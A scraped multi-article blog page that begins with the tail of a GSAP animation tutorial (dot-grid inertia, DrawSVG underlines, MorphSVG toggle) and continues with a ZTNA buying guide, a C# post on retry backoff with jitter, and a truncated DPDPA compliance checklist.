      let vy = (dy / dt) * 1000
      let speed = Math.hypot(vx, vy)
    
      if (speed > maxSpeed) {
        const scale = maxSpeed / speed
        vx = vx * scale
        vy = vy * scale
        speed = maxSpeed
      }
    
      lastTime = now
      lastX = e.pageX
      lastY = e.pageY
    
      requestAnimationFrame(() => {
        dotCenters.forEach(({ el, x, y }) => {
          const dist = Math.hypot(x - e.pageX, y - e.pageY)
          const t = Math.max(0, 1 - dist / threshold)
          const col = gsap.utils.interpolate(colors.base, colors.active, t)
          gsap.set(el, { backgroundColor: col })
    
          if (speed > speedThreshold && dist < threshold && !el._inertiaApplied) {
            el._inertiaApplied = true
            const pushX = (x - e.pageX) + vx * 0.005
            const pushY = (y - e.pageY) + vy * 0.005
    
            gsap.to(el, {
              inertia: { x: pushX, y: pushY, resistance: 750 },
              onComplete() {
                gsap.to(el, {
                  x: 0,
                  y: 0,
                  duration: 1.5,
                  ease: "elastic.out(1, 0.75)"
                })
                el._inertiaApplied = false
              }
            })
          }
        })
      })
    })

    4. Handle click ‘shockwave’ effect

    On each click, we send a radial ‘shockwave’ through the grid. We reuse the same inertia + elastic return logic, but scale the push by a distance-based falloff so that dots closer to the click move further, then all spring back in unison.

    window.addEventListener("click", e => {
      dotCenters.forEach(({ el, x, y }) => {
        const dist = Math.hypot(x - e.pageX, y - e.pageY)
        if (dist < shockRadius && !el._inertiaApplied) {
          el._inertiaApplied = true
          const falloff = Math.max(0, 1 - dist / shockRadius)
          const pushX = (x - e.pageX) * shockPower * falloff
          const pushY = (y - e.pageY) * shockPower * falloff
    
          gsap.to(el, {
            inertia: { x: pushX, y: pushY, resistance: 750 },
            onComplete() {
              gsap.to(el, {
                x: 0,
                y: 0,
                duration: 1.5,
                ease: "elastic.out(1, 0.75)"
              })
              el._inertiaApplied = false
            }
          })
        }
      })
    })

    5. Putting it all together

    By now, all of our pieces live inside one initGlowingInteractiveDotsGrid() function. Here’s an abbreviated view of your final JS setup:

    gsap.registerPlugin(InertiaPlugin);
    
    function initGlowingInteractiveDotsGrid() {
      // buildGrid(): creates and positions dots
      // window.addEventListener("mousemove", …): glow & spring logic
      // window.addEventListener("click", …): shockwave logic
    }
    
    document.addEventListener("DOMContentLoaded", initGlowingInteractiveDotsGrid);

    6. Resources & links

    Webflow Cloneable

    CodePen

    Next up: DrawSVG Scribbles Demo — let’s draw some playful, randomized underlines on hover!

    DrawSVG Scribbles Demo

    GSAP’s DrawSVGPlugin animates the stroke of an SVG path by tweening its stroke-dasharray and stroke-dashoffset, creating a ‘drawing’ effect. You can control start/end percentages, duration, easing, and even stagger multiple paths. In this demo, we’ll attach a randomized scribble underline to each link on hover—perfect for adding a playful touch to your navigation or call-to-actions.

    • Plugins needed: GSAP core and DrawSVGPlugin
    • Demo purpose: On hover, inject a random SVG scribbles beneath your link text and animate it from 0% to 100% draw, then erase it on hover-out.

    HTML & CSS Setup

    <section class="section-resource">
      <a data-draw-line href="#" class="text-draw w-inline-block">
        <p class="text-draw__p">Branding</p>
        <div data-draw-line-box class="text-draw__box"></div>
      </a>
      <a data-draw-line href="#" class="text-draw w-inline-block">
        <p class="text-draw__p">Design</p>
        <div data-draw-line-box class="text-draw__box"></div>
      </a>
      <a data-draw-line href="#" class="text-draw w-inline-block">
        <p class="text-draw__p">Development</p>
        <div data-draw-line-box class="text-draw__box"></div>
      </a>
    </section>
    body {
      background-color: #fefaee;
    }
    .section-resource {
      display: flex;
      justify-content: center;
      align-items: center;
      min-height: 100vh;
      font-size: 1.5vw;
    }
    .text-draw {
      color: #340824;
      cursor: pointer;
      margin: 0 1em;
      font-size: 2em;
      text-decoration: none;
    }
    .text-draw__p {
      margin-bottom: 0;
      font-size: 1.5em;
      font-weight: 500;
      line-height: 1.1;
    }
    .text-draw__box {
      position: relative;
      width: 100%;
      height: .625em;
      color: #e55050;
    }
    .text-draw__box-svg {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      overflow: visible !important;
    }

    1. Register the plugin

    gsap.registerPlugin(DrawSVGPlugin);

    2. Prepare your SVG variants

    We define an array of exact SVG scribbles. Each string is a standalone <svg> with its <path>. When we inject it, we run decorateSVG() to ensure it scales to its container and uses currentColor for theming.

    We’ve drawn these scribbles ourselves in figma using the pencil. We recommend drawing (and thus creating the path coordinates) in the order of which you want to draw them.

    const svgVariants = [
        `<svg width="310" height="40" viewBox="0 0 310 40" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5 20.9999C26.7762 16.2245 49.5532 11.5572 71.7979 14.6666C84.9553 16.5057 97.0392 21.8432 109.987 24.3888C116.413 25.6523 123.012 25.5143 129.042 22.6388C135.981 19.3303 142.586 15.1422 150.092 13.3333C156.799 11.7168 161.702 14.6225 167.887 16.8333C181.562 21.7212 194.975 22.6234 209.252 21.3888C224.678 20.0548 239.912 17.991 255.42 18.3055C272.027 18.6422 288.409 18.867 305 17.9999" stroke="currentColor" stroke-width="10" stroke-linecap="round"/></svg>`,
        `<svg width="310" height="40" viewBox="0 0 310 40" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5 24.2592C26.233 20.2879 47.7083 16.9968 69.135 13.8421C98.0469 9.5853 128.407 4.02322 158.059 5.14674C172.583 5.69708 187.686 8.66104 201.598 11.9696C207.232 13.3093 215.437 14.9471 220.137 18.3619C224.401 21.4596 220.737 25.6575 217.184 27.6168C208.309 32.5097 197.199 34.281 186.698 34.8486C183.159 35.0399 147.197 36.2657 155.105 26.5837C158.11 22.9053 162.993 20.6229 167.764 18.7924C178.386 14.7164 190.115 12.1115 201.624 10.3984C218.367 7.90626 235.528 7.06127 252.521 7.49276C258.455 7.64343 264.389 7.92791 270.295 8.41825C280.321 9.25056 296 10.8932 305 13.0242" stroke="#E55050" stroke-width="10" stroke-linecap="round"/></svg>`,
        `<svg width="310" height="40" viewBox="0 0 310 40" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5 29.5014C9.61174 24.4515 12.9521 17.9873 20.9532 17.5292C23.7742 17.3676 27.0987 17.7897 29.6575 19.0014C33.2644 20.7093 35.6481 24.0004 39.4178 25.5014C48.3911 29.0744 55.7503 25.7731 63.3048 21.0292C67.9902 18.0869 73.7668 16.1366 79.3721 17.8903C85.1682 19.7036 88.2173 26.2464 94.4121 27.2514C102.584 28.5771 107.023 25.5064 113.276 20.6125C119.927 15.4067 128.83 12.3333 137.249 15.0014C141.418 16.3225 143.116 18.7528 146.581 21.0014C149.621 22.9736 152.78 23.6197 156.284 24.2514C165.142 25.8479 172.315 17.5185 179.144 13.5014C184.459 10.3746 191.785 8.74853 195.868 14.5292C199.252 19.3205 205.597 22.9057 211.621 22.5014C215.553 22.2374 220.183 17.8356 222.979 15.5569C225.4 13.5845 227.457 11.1105 230.742 10.5292C232.718 10.1794 234.784 12.9691 236.164 14.0014C238.543 15.7801 240.717 18.4775 243.356 19.8903C249.488 23.1729 255.706 21.2551 261.079 18.0014C266.571 14.6754 270.439 11.5202 277.146 13.6125C280.725 14.7289 283.221 17.209 286.393 19.0014C292.321 22.3517 298.255 22.5014 305 22.5014" stroke="#E55050" stroke-width="10" stroke-linecap="round"/></svg>`,
        `<svg width="310" height="40" viewBox="0 0 310 40" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M17.0039 32.6826C32.2307 32.8412 47.4552 32.8277 62.676 32.8118C67.3044 32.807 96.546 33.0555 104.728 32.0775C113.615 31.0152 104.516 28.3028 102.022 27.2826C89.9573 22.3465 77.3751 19.0254 65.0451 15.0552C57.8987 12.7542 37.2813 8.49399 44.2314 6.10216C50.9667 3.78422 64.2873 5.81914 70.4249 5.96641C105.866 6.81677 141.306 7.58809 176.75 8.59886C217.874 9.77162 258.906 11.0553 300 14.4892" stroke="#E55050" stroke-width="10" stroke-linecap="round"/></svg>`,
        `<svg width="310" height="40" viewBox="0 0 310 40" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M4.99805 20.9998C65.6267 17.4649 126.268 13.845 187.208 12.8887C226.483 12.2723 265.751 13.2796 304.998 13.9998" stroke="currentColor" stroke-width="10" stroke-linecap="round"/></svg>`,
        `<svg width="310" height="40" viewBox="0 0 310 40" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5 29.8857C52.3147 26.9322 99.4329 21.6611 146.503 17.1765C151.753 16.6763 157.115 15.9505 162.415 15.6551C163.28 15.6069 165.074 15.4123 164.383 16.4275C161.704 20.3627 157.134 23.7551 153.95 27.4983C153.209 28.3702 148.194 33.4751 150.669 34.6605C153.638 36.0819 163.621 32.6063 165.039 32.2029C178.55 28.3608 191.49 23.5968 204.869 19.5404C231.903 11.3436 259.347 5.83254 288.793 5.12258C294.094 4.99476 299.722 4.82265 305 5.45025" stroke="#E55050" stroke-width="10" stroke-linecap="round"/></svg>`
      ];
      
    function decorateSVG(svgEl) {  
      svgEl.setAttribute('class', 'text-draw__box-svg');
      svgEl.setAttribute('preserveAspectRatio', 'none');
      svgEl.querySelectorAll('path').forEach(path => {
        path.setAttribute('stroke', 'currentColor');
      });
    }

    3. Set up hover animations

    For each link, we listen for mouseenter and mouseleave. On hover-in, we:

    • Prevent restarting if the previous draw-in tween is still active.
    • Kill any ongoing draw-out tween.
    • Pick the next SVG variant (cycling through the array).
    • Inject it into the box, decorate it, set its initial drawSVG to “0%”, then tween to “100%” in 0.5s with an ease of power2.inOut.

    On hover-out, we tween drawSVG from “100% 100%” to erase it, then clear the SVG when complete.

    let nextIndex = null;
    
    document.querySelectorAll('[data-draw-line]').forEach(container => {
      const box = container.querySelector('[data-draw-line-box]');
      if (!box) return;
      let enterTween = null;
      let leaveTween = null;
    
      container.addEventListener('mouseenter', () => {
        if (enterTween && enterTween.isActive()) return;
        if (leaveTween && leaveTween.isActive()) leaveTween.kill();
    
        if (nextIndex === null) {
          nextIndex = Math.floor(Math.random() * svgVariants.length);
        }
    
        box.innerHTML = svgVariants[nextIndex];
        const svg = box.querySelector('svg');
        if (svg) {
          decorateSVG(svg);
          const path = svg.querySelector('path');
          gsap.set(path, { drawSVG: '0%' });
          enterTween = gsap.to(path, {
            duration: 0.5,
            drawSVG: '100%',
            ease: 'power2.inOut',
            onComplete: () => { enterTween = null; }
          });
        }
    
        nextIndex = (nextIndex + 1) % svgVariants.length;
      });
    
      container.addEventListener('mouseleave', () => {
        const path = box.querySelector('path');
        if (!path) return;
    
        const playOut = () => {
          if (leaveTween && leaveTween.isActive()) return;
          leaveTween = gsap.to(path, {
            duration: 0.5,
            drawSVG: '100% 100%',
            ease: 'power2.inOut',
            onComplete: () => {
              leaveTween = null;
              box.innerHTML = '';
            }
          });
        };
    
        if (enterTween && enterTween.isActive()) {
          enterTween.eventCallback('onComplete', playOut);
        } else {
          playOut();
        }
      });
    });

    4. Initialize on page load

    Wrap the above setup in your initDrawRandomUnderline() function and call it once the DOM is ready:

    function initDrawRandomUnderline() {
      // svgVariants, decorateSVG, and all event listeners…
    }
    
    document.addEventListener('DOMContentLoaded', initDrawRandomUnderline);

    5. Resources & links

    Webflow Cloneable

    CodePen

    And now on to the final demo: MorphSVG Toggle Demo—see how to morph one icon into another in a single tween!

    MorphSVG Toggle Demo

    MorphSVGPlugin lets you fluidly morph one SVG shape into another—even when they have different numbers of points—by intelligently mapping anchor points. You can choose the morphing algorithm (size, position or complexity), control easing, duration, and even add rotation to make the transition feel extra smooth. In this demo, we’re toggling between a play ► and pause ❚❚ icon on button click, then flipping back. Perfect for video players, music apps, or any interactive control.

    We highly recommend diving into the docs for this plugin, as there are a whole bunch of options and possibilities.

    • Plugins needed: GSAP core and MorphSVGPlugin
    • Demo purpose: Build a play/pause button that seamlessly morphs its SVG path on each click.

    HTML & CSS Setup

    <button data-play-pause="toggle" class="play-pause-button">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 25" class="play-pause-icon">
        <path
          data-play-pause="path"
          d="M3.5 5L3.50049 3.9468C3.50049 3.177 4.33382 2.69588 5.00049 3.08078L20.0005 11.741C20.6672 12.1259 20.6672 13.0882 20.0005 13.4731L17.2388 15.1412L17.0055 15.2759M3.50049 8L3.50049 21.2673C3.50049 22.0371 4.33382 22.5182 5.00049 22.1333L14.1192 16.9423L14.4074 16.7759"
          stroke="currentColor"
          stroke-width="2"
          stroke-miterlimit="16"
          fill="none"
        />
      </svg>
    </button>
    body {
      background-color: #0e100f;
      color: #fffce1;
      display: flex;
      flex-direction: column;
      align-items: center;
      justify-content: center;
      height: 100vh;
      margin: 0;
    }
    
    .play-pause-button {
      background: transparent;
      border: none;
      width: 10rem;
      height: 10rem;
      display: flex;
      align-items: center;
      justify-content: center;
      color: currentColor;
      cursor: pointer;
    }
    
    .play-pause-icon {
      width: 100%;
      height: 100%;
    }

    1. Register the plugin

    gsap.registerPlugin(MorphSVGPlugin);

    2. Define paths & toggle logic

    We store two path definitions: playPath and pausePath, then grab our button and the <path> element inside it. A simple isPlaying boolean tracks state. On each click, we call gsap.to() on the SVG path, passing morphSVG options:

    • type: “rotational” to smoothly rotate points into place
    • map: “complexity” to match by number of anchors for speed
    • shape set to the opposite icon’s path

    Finally, we flip isPlaying so the next click morphs back.

    function initMorphingPlayPauseToggle() {
      const playPath =
        "M3.5 5L3.50049 3.9468C3.50049 3.177 4.33382 2.69588 5.00049 3.08078L20.0005 11.741C20.6672 12.1259 20.6672 13.0882 20.0005 13.4731L17.2388 15.1412L17.0055 15.2759M3.50049 8L3.50049 21.2673C3.50049 22.0371 4.33382 22.5182 5.00049 22.1333L14.1192 16.9423L14.4074 16.7759";
      const pausePath =
        "M15.5004 4.05859V5.0638V5.58691V8.58691V15.5869V19.5869V21.2549M8.5 3.96094V10.3721V17V19L8.5 21";
    
      const buttonToggle = document.querySelector('[data-play-pause="toggle"]');
      const iconPath = buttonToggle.querySelector('[data-play-pause="path"]');
      let isPlaying = false;
    
      buttonToggle.addEventListener("click", () => {
        gsap.to(iconPath, {
          duration: 0.5,
          ease: "power4.inOut",
          morphSVG: {
            type: "rotational",
            map: "complexity",
            shape: isPlaying ? playPath : pausePath
          }
        });
        isPlaying = !isPlaying;
      });
    }
    
    document.addEventListener("DOMContentLoaded", initMorphingPlayPauseToggle);

    4. Resources & links

    • MorphSVGPlugin docs
    • Bonus: We also added a confetti effect on click using the Physics2DPlugin for the below Webflow and CodePen resources!

    Webflow Cloneable

    CodePen

    And that wraps up our MorphSVG Toggle!

    Closing thoughts

    Thank you for making it this far down the page! We know it’s a rather long read, so we hope there’s some inspiring stuff in here for you. Both Dennis and I are super stoked with all the GSAP Plugins being free now, and can’t wait to create more resources with them.

    As a note, we’re fully aware that all the HTML and markup in the article is rather concise, and definitely not up to standard with all best practices for accessibility. To make these resources production-ready, definitely look for guidance on the standards at w3.org! Think of the above ones as your launch-pad. Ready to tweak and make your own.

    Have a lovely rest of your day, or night, wherever you are. Happy animating!

    Access a growing library of resources

    Built by two award-winning creative developers Dennis Snellenberg and Ilja van Eck, our vault gives you access to the techniques, components, code, and tools behind our projects. All neatly packed in a custom-built dashboard. Build, tweak, and make them your own—for Webflow and non-Webflow users.

    Become a member today to unlock our growing set of components and join a community of more than 850 creative developers worldwide!

    Become a member



    Source link

  • How to Choose the Right ZTNA Solution for your Enterprise

    How to Choose the Right ZTNA Solution for your Enterprise


    As organizations continue to embrace hybrid work models and migrate applications to the cloud, traditional network security approaches like VPNs are proving inadequate. Zero-trust network Access (ZTNA) has emerged as the modern framework for secure access, operating on the principle of “never trust, always verify.” However, with numerous vendors offering different ZTNA solutions, selecting the right one requires careful consideration of organizational needs, solution types, key features, and implementation factors.

    Assessing Organizational Requirements

    The first step in selecting a ZTNA solution is thoroughly evaluating your organization’s specific needs. Consider the nature of your workforce: do employees work remotely, in-office, or in a hybrid arrangement? The solution must accommodate secure access from various locations while ensuring productivity. Additionally, assess whether third-party vendors or contractors require controlled access to specific resources, as this will influence whether an agent-based or agentless approach is more suitable.

    Another critical factor is the sensitivity of the data and applications being accessed. Organizations handling financial, healthcare, or other regulated data must ensure the ZTNA solution complies with industry standards such as GDPR, HIPAA, or SOC 2. Furthermore, examine how the solution integrates with your existing security infrastructure, including identity and access management (IAM) systems, endpoint detection and response (EDR) tools, and security information and event management (SIEM) platforms. A seamless integration ensures cohesive security policies and reduces operational complexity.

    Understanding ZTNA Deployment Models

    ZTNA solutions generally fall into two primary categories: service-initiated (agent-based) and network-initiated (agentless). Service-initiated ZTNA requires installing a lightweight agent on user devices, which then connects to a cloud-based broker that enforces access policies. This model is ideal for organizations with managed corporate devices, as it provides granular control over endpoint security.

    On the other hand, network-initiated ZTNA does not require software installation. Instead, users access resources through a web portal or browser, enforcing policies via DNS or routing controls. This approach is better suited for third-party users or unmanaged devices, offering flexibility without compromising security. Some vendors provide hybrid models that combine both approaches, allowing organizations to tailor access based on user roles and device types.

    Essential Features of a Robust ZTNA Solution

    When evaluating ZTNA providers, prioritize solutions that offer strong identity-centric security. Multi-factor authentication (MFA) and continuous authentication mechanisms, such as behavioral analytics, ensure that only verified users gain access. Role-based access control (RBAC) further enhances security by enforcing the principle of least privilege, granting users access only to the resources they need.

    Granular access controls are another critical feature. Look for solutions that provide application-level segmentation rather than just network-level controls. Context-aware policies, which consider device posture, geographic location, and time of access, add a layer of security.

    Moreover, A robust ZTNA solution should include several other essential features to ensure security and flexibility. It must support user device binding to associate users with their specific devices securely. Additionally, it should support local users in accommodating on-premises authentication needs. Compatibility with legacy identity providers (IdPs) is crucial for seamless integration with existing systems. Furthermore, the solution should enable session recording over various protocols to enhance monitoring and compliance.

    Integration capabilities should not be overlooked. The ideal ZTNA solution should seamlessly connect with existing security tools, such as SIEM and SOAR platforms, for centralized monitoring and incident response. Additionally, API-based automation can streamline policy management, reducing administrative overhead. Finally, user experience plays a pivotal role in adoption. Features like single sign-on (SSO) and fast, reliable connectivity help maintain productivity while ensuring security.

    Evaluating Deployment and Cost Considerations

    Implementation complexity and cost are decisive factors in choosing a ZTNA solution. Cloud-based ZTNA, delivered as a SaaS offering, typically involves minimal deployment effort and is ideal for organizations with predominantly cloud-based applications. While offering greater control, on-premises deployments require more extensive setup and maintenance, making them better suited for highly regulated industries with strict data residency requirements. Hybrid models strike a balance, catering to organizations with mixed infrastructure.

    Cost structures vary among providers, with some offering per-user licensing and others charging based on application access. Be mindful of potential hidden costs, such as bandwidth usage or fees for additional security integrations. Conducting a proof-of-concept (POC) trial can provide valuable insights into the solution’s real-world performance and help justify investment by demonstrating potential cost savings, such as reduced VPN expenses or improved security efficiency.

    Conclusion: Making an Informed Decision

    Choosing the right ZTNA solution demands a structured approach. Begin by assessing your organization’s unique requirements, including workforce dynamics, data sensitivity, and existing security infrastructure. Next, understand the different deployment models to determine whether an agent-based, agentless, or hybrid solution aligns with your needs. Prioritize features that enhance security without compromising usability and carefully evaluate deployment efforts and costs to ensure smooth implementation.

    By following this comprehensive guide, organizations can adopt a ZTNA solution that strengthens security and supports operational efficiency and scalability. As the threat landscape evolves, a well-chosen ZTNA framework will provide flexibility and resilience to safeguard critical assets in an increasingly perimeter-less world.

    Discover how Seqrite ZTNA can transform your organization’s security with a robust, cloud-native zero-trust solution tailored for modern enterprises. Contact us today or request a demo to start your journey toward a more secure and efficient network!



    Source link

  • Enhancing Retry Patterns with a bit of randomness &vert; Code4IT

    Enhancing Retry Patterns with a bit of randomness | Code4IT


    Operations may fail for transient reasons. How can you implement retry patterns? And how can a simple Jitter help you stabilize the system?

    Table of Contents

    Just a second! 🫷
    If you are here, it means that you are a software developer.
    So, you know that storage, networking, and domain management have a cost .

    If you want to support this blog, please ensure that you have disabled the adblocker for this site.
    I configured Google AdSense to show as few ADS as possible – I don’t want to bother you with lots of ads, but I still need to add some to pay for the resources for my site.

    Thank you for your understanding.
    Davide

    When building complex systems, you may encounter situations where you have to retry an operation several times before giving up due to transient errors.

    How can you implement proper retry strategies? And how can a little thing called “Jitter” help avoid the so-called “Thundering Herd problem”?.

    Retry Patterns and their strategies

    Retry patterns are strategies for retrying operations caused by transient, temporary errors, such as packet loss or a temporarily unavailable resource.

    Suppose you have a database that can handle up to 3 requests per second (yay! so performant!).

    Accidentally, three clients try to execute an operation at the exact same instant. What happens now?

    Well, the DB becomes temporarily unavailable, and it won’t be able to serve those requests. So, since this issue occurred by chance, you just have to wait and retry.

    How long should we wait before the next tentative?

    You can imagine that the timeframe between a tentative and the next one follows a mathematical function, where the wait time (called Backoff) depends on the tentative number:

    Backoff = f(RetryAttemptNumber)
    

    With that in mind, we can think of two main retry strategies: linear backoff retries and exponential backoff retries.

    Linear backoff retries

    The simplest way to handle retries is with Linear backoff.

    Let’s continue with the mathematical function analogy. In this case, the function we can use is a linear function.

    We can simplify the idea by saying that, regardless of the attempt number, the delay between one retry and the next one stays constant.

    Linear backoff

    Let’s see an example in C#. Say that you have defined an operation that may fail randomly, stored in an Action instance. You can call the following RetryOperationWithLinearBackoff method to execute the operation passed in input with a linear retry.

    static void RetryOperationWithLinearBackoff(Action operation)
    {
        int maxRetries = 5;
        double delayInSeconds = 5.0;
    
        for (int attempt = 0; attempt < maxRetries; attempt++)
        {
            try
            {
                operation();
                return;
            }
            catch (Exception e)
            {
                Console.WriteLine($"Retrying in {delayInSeconds:F2} seconds...");
                Thread.Sleep(TimeSpan.FromSeconds(delayInSeconds));
            }
        }
    }
    

    The input opertation will be retried for up to 5 times, and every time an operation fails, the system waits 5 seconds before the next retry.

    Linear backoff is simple to implement, as you just saw. However, it falls short when the system is in a faulty state and takes a long time to get back to work. Having linear retries and a fixed amount of maximum retries limits the timespan an operation can be retried. You can end up finishing your attempts while the downstream system is still recovering.

    There may be better ways.

    Exponential backoff retries

    An alternative is to use Exponential Backoff.

    With this approach, the backoff becomes longer after every attempt — usually, it doubles at every retry, that’s why it is called “exponential” backoff.

    This way, if the downstream system takes a long time to recover, the top-level operation has a better chance of being completed successfully.

    Exponential Backoff

    Of course, the downside of this approach is that to get a response from the operation (did it complete? did it fail?), you will have to wait longer — it all depends on the number of retries.
    So, the top-level operation can go into timeout because it tries to access a resource, but the retries become increasingly diluted.

    A simple implementation in C# would be something like this:

    static void RetryOperationWithExponentialBackoff(Action operation)
    {
        int maxRetries = 5;
        double baseDelayInSeconds = 2.0;
    
        for (int attempt = 0; attempt < maxRetries; attempt++)
        {
            try
            {
                operation();
                return;
            }
            catch (Exception e)
            {
                double exponentialDelay = baseDelayInSeconds * Math.Pow(2, attempt);
                Console.WriteLine($"Retrying in {exponentialDelay:F2} seconds...");
                Thread.Sleep(TimeSpan.FromSeconds(exponentialDelay));
            }
        }
    }
    

    The key to understanding the exponential backoff is how the delay is calculated:

    double exponentialDelay = baseDelayInSeconds * Math.Pow(2, attempt);
    

    Understanding the Thundering Herd problem

    The “basic” versions of these retry patterns are effective in overcoming temporary service unavailability, but they can inadvertently cause a thundering herd problem. This occurs when multiple clients retry simultaneously, overwhelming the system with a surge of requests, potentially leading to further failures.

    Suppose that a hypothetical downstream system becomes unavailable if 5 or more requests occur simultaneously.

    What happens when five requests start at the exact same moment? They start, overwhelm the system, and they all fail.

    Their retries will always be in sync, since the backoff is fixed (yes, it can grow in time, but it’s still a fixed value).

    So, all five requests will wait for a fixed amount of time before the next retry. This means that they will always stay in sync.

    Let’s make it more clear with these simple diagrams, where each color represents a different client trying to perform the operation, and the number inside the star represents the attempt number.

    In the case of linear backoff, all the requests are always in sync.

    Multiple retries with linear backoff

    The same happens when using exponential backoff: even if the backoff grows exponentially, all the requests stay in sync, making the system unstable.

    Multiple retries with exponential backoff

    What is Jitter?

    Jitter refers to the introduction of randomness into timing mechanisms: the term was first adopted when talking about network communications, but then became in use for in other areas of system design.

    Jitter helps to mitigate the risk of synchronized retries that can lead to spikes in server load, forcing clients that try to simultanously access a resource to perform their operations with a slightly randomized delay.

    In fact, by randomizing the delay intervals between retries, jitter ensures that retries are spread out over time, reducing the likelihood of overwhelming a service.

    Benefits of Jitter in Distributed Systems

    This is where Jitter comes in handy: it adds a random interval around the moment a retry should happen to minimize excessive retries in sync.

    Exponential Backoff with Jitter

    Jitter introduces randomness to the delay intervals between retries. By staggering these retries, jitter helps distribute the load more evenly over time.

    This reduces the risk of server overload and allows backend systems to recover and process requests efficiently. Implementing jitter can transform a simple retry mechanism into a robust strategy that enhances system reliability and performance.

    Incorporating jitter into your system design offers several advantages:

    • Reduced Load Spikes: By spreading out retries, Jitter minimizes sudden surges in traffic, preventing server overload.
    • Enhanced System Stability: With less synchronized activity, systems remain more stable, even during peak usage times.
    • Improved Resource Utilization: Jitter allows for more efficient use of resources, as requests are processed more evenly.
    • Greater Resilience: Systems become more resilient to transient errors and network fluctuations, improving overall reliability.
    • Avoiding Synchronization: Jitter prevents multiple clients from retrying at the same time, which can lead to server overload.
    • Improved Resource Utilization: By spreading out retries, jitter helps maintain a more consistent load on servers, improving resource utilization.
    • Enhanced Reliability: Systems become more resilient to transient errors, reducing the likelihood of cascading failures.

    Let’s review the retry methods we defined before.

    static void RetryOperationWithLinearBackoffAndJitter(Action operation)
    {
        int maxRetries = 5;
        double baseDelayInSeconds = 5.0;
    
        Random random = new Random();
    
        for (int attempt = 0; attempt < maxRetries; attempt++)
        {
            try
            {
                operation();
                return;
            }
            catch (Exception e)
            {
                double jitter = random.NextDouble() * 4 - 2; // Random jitter between -2 and 2 seconds
                double delay = baseDelayInSeconds + jitter;
                Console.WriteLine($"Retrying in {delay:F2} seconds...");
                Thread.Sleep(TimeSpan.FromSeconds(delay));
            }
        }
    }
    

    And, for Exponential Backoff,

    static void RetryOperationWithExponentialBackoffAndJitter(Action operation)
    {
        int maxRetries = 5;
        double baseDelayInSeconds = 2.0;
    
        Random random = new Random();
    
        for (int attempt = 0; attempt < maxRetries; attempt++)
        {
            try
            {
                operation();
                return;
            }
            catch (Exception e)
            {
                // Exponential backoff with jitter
                double exponentialDelay = baseDelayInSeconds * Math.Pow(2, attempt);
                double jitter = random.NextDouble() * (exponentialDelay / 2);
                double delay = exponentialDelay + jitter;
                Console.WriteLine($"Retrying in {delay:F2} seconds...");
                Thread.Sleep(TimeSpan.FromSeconds(delay));
            }
        }
    }
    

    In both cases, the key is in creating the delay variable: a random value (the Jitter) is added to the delay.

    Notice that the Jitter can also be a negative value!

    Further readings

    Retry patterns and Jitter make your system more robust, but if badly implemented, they can make your code a mess. So, a question arises: should you focus on improving performances or on writing cleaner code?

    🔗 Code opinion: performance or clean code? | Code4IT

    This article first appeared on Code4IT 🐧

    Clearly, if the downstream system is not able to handle too many requests, you may need to implement a way to limit the number of incoming requests in a timeframe. You can choose between 4 well-known algorithms to implement Rate Limiting.

    🔗 4 algorithms to implement Rate Limiting, with comparison | Code4IT

    Wrapping up

    While adding jitter may seem like a minor tweak, its impact on distributed systems can be significant. By introducing randomness into retry patterns, jitter helps create a more balanced, efficient, and robust system.

    As we continue to build and scale our systems, incorporating jitter is a best practice that can prevent cascading failures and optimize performance. All in all, a little randomness can be just what your system needs to thrive.

    I hope you enjoyed this article! Let’s keep in touch on LinkedIn, Twitter or BlueSky! 🤜🤛

    Happy coding!

    🐧





    Source link

  • DPDPA Compliance Practical Steps for Businesses

    DPDPA Compliance Practical Steps for Businesses


    The Digital Personal Data Protection Act (DPDPA) is a transformative piece of legislation in India, designed to safeguard personal data and strengthen privacy in an increasingly digital landscape. For organizations handling personal data, compliance with the DPDPA is both a legal obligation and a strategic opportunity to build customer trust. This blog outlines practical steps to achieve DPDPA compliance, drawing on insights from Seqrite’s cybersecurity and data protection expertise.

    Understanding the DPDPA

    The DPDPA establishes a robust framework for protecting personal data, placing clear responsibilities on organizations, referred to as “Data Fiduciaries.” It emphasizes principles such as transparency, accountability, and informed consent while imposing penalties for non-compliance. Compliance is not just about meeting regulatory requirements—it’s about fostering trust and demonstrating commitment to data privacy.

    Strategic Focus Areas for DPDPA Readiness

    To align with the DPDPA, organizations must focus on the following core areas:

    1. Consent Management:

      • Obtain clear, informed, and specific consent from individuals (“Data Principals”) before collecting or processing their data.
      • Implement user-friendly consent mechanisms that allow individuals to understand what data is being collected and for what purpose.
      • Maintain auditable records of consent to demonstrate compliance during regulatory reviews.
    2. Data Minimization and Purpose Limitation:

      • Collect only the data necessary for the intended purpose and avoid excessive data collection.
      • Ensure data is processed strictly for the purpose for which consent was given, adhering to the DPDPA’s principle of purpose limitation.
    3. Data Security and Breach Preparedness:

      • Deploy robust cybersecurity measures to protect personal data, including encryption, access controls, and regular security audits.
      • Develop an incident response plan to address data breaches promptly and report them to the Data Protection Board of India within the required timeframe.
    4. Data Protection Impact Assessments (DPIAs):

      • Conduct DPIAs to identify and mitigate risks associated with data processing activities.
      • Integrate DPIAs into the planning phase of new projects or systems that handle personal data.
    5. Employee Training and Awareness:

      • Train employees regularly on DPDPA requirements and cybersecurity best practices, as they are often the first line of defense against data breaches.
      • Foster a culture of data protection to ensure compliance across all levels of the organization.
    6. Third-Party Vendor Management:

      • Ensure third-party vendors handling personal data comply with DPDPA requirements, as Data Fiduciaries are accountable for their vendors’ actions.
      • Include clear data protection clauses in vendor contracts and conduct periodic audits of vendor practices.

    Practical Steps for DPDPA Compliance

    Here are actionable steps organizations can take to achieve and maintain DPDPA compliance:

    1. Conduct a Data Inventory:

      1. Using automated tools, discover and classify all personal data collected, stored, and processed across the organization.
      2. Identify data flows, storage locations, and access points to understand the scope of compliance requirements.
    1. Appoint a Data Protection Officer (DPO):

      1. Designate a DPO as mandated for Significant Data Fiduciaries to oversee DPDPA compliance and engage with regulatory authorities.
      2. For other organizations, appoint privacy champions across key departments to ensure localized accountability and awareness.
    1. Implement Robust Consent Mechanisms:

      1. Designate a DPO as mandated for Significant Data Fiduciaries to oversee DPDPA compliance and engage with regulatory authorities.
